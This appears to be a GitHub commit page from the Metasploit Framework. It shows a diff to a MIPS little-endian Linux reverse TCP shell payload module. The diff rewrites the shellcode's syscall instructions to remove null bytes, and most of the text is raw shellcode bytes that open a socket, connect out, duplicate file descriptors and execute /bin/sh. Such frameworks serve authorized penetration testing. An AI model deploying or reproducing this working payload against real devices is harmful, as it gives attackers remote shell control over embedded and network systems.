Skip to content

Commit 0822e8e

Browse files
committed
Merge branch 'kost-mipsle-shell_reverse_tcp'
2 parents f7a8434 + 7145078 commit 0822e8e

File tree

1 file changed

+9
-8
lines changed

1 file changed

+9
-8
lines changed

modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb

Lines changed: 9 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
##
1111

1212
# Written in a hurry using shellforge and my MIPS shellforge loader (avail. on cr0.org)
13+
# + Few removals of unneccessary zero bytes by kost
1314

1415
require 'msf/core'
1516
require 'msf/core/handler/reverse_tcp'
@@ -84,7 +85,7 @@ def generate
8485
"\x02\x00\x05\x24" + # li a1,2
8586
"\x21\x30\x00\x00" + # move a2,zero
8687
"\x57\x10\x02\x24" + # li v0,4183
87-
"\x0c\x00\x00\x00" + # syscall
88+
"\x0c\x01\x01\x01" + # syscall
8889
"\x21\x18\x40\x00" + # move v1,v0
8990
"\xff\xff\x02\x24" + # li v0,-1
9091
"\x1a\x00\x62\x10" + # beq v1,v0,0xf4
@@ -93,29 +94,29 @@ def generate
9394
"\x08\x00\xa5\x27" + # addiu a1,sp,8
9495
"\x10\x00\x06\x24" + # li a2,16
9596
"\x4a\x10\x02\x24" + # li v0,4170
96-
"\x0c\x00\x00\x00" + # syscall
97+
"\x0c\x01\x01\x01" + # syscall
9798
"\x0e\x00\x40\x14" + # bnez v0,0xe0
9899
"\x21\x28\x00\x00" + # move a1,zero
99100
"\xdf\x0f\x02\x24" + # li v0,4063
100-
"\x0c\x00\x00\x00" + # syscall
101+
"\x0c\x01\x01\x01" + # syscall
101102
"\x01\x00\x05\x24" + # li a1,1
102103
"\xdf\x0f\x02\x24" + # li v0,4063
103-
"\x0c\x00\x00\x00" + # syscall
104+
"\x0c\x01\x01\x01" + # syscall
104105
"\x02\x00\x05\x24" + # li a1,2
105106
"\xdf\x0f\x02\x24" + # li v0,4063
106-
"\x0c\x00\x00\x00" + # syscall
107+
"\x0c\x01\x01\x01" + # syscall
107108
"\x21\x30\x00\x00" + # move a2,zero
108109
"\x21\x20\x20\x03" + # move a0,t9
109110
"\x20\x00\xa5\x27" + # addiu a1,sp,32
110111
"\xab\x0f\x02\x24" + # li v0,4011
111-
"\x0c\x00\x00\x00" + # syscall
112+
"\x0c\x01\x01\x01" + # syscall
112113
"\x21\x20\x00\x00" + # move a0,zero
113114
"\xa1\x0f\x02\x24" + # li v0,4001
114-
"\x0c\x00\x00\x00" + # syscall
115+
"\x0c\x01\x01\x01" + # syscall
115116
"\x08\x00\xe0\x03" + # jr ra
116117
"\x28\x00\xbd\x27" + # addiu sp,sp,40
117118
"\xa1\x0f\x02\x24" + # li v0,4001
118-
"\x0c\x00\x00\x00" + # syscall
119+
"\x0c\x01\x01\x01" + # syscall
119120
"\xe5\xff\x00\x10" + # b 0x94
120121
"\x21\x20\x60\x00" + # move a0,v1
121122
"\x2f\x62\x69\x6e" + # "/bin"

0 commit comments

Comments
 (0)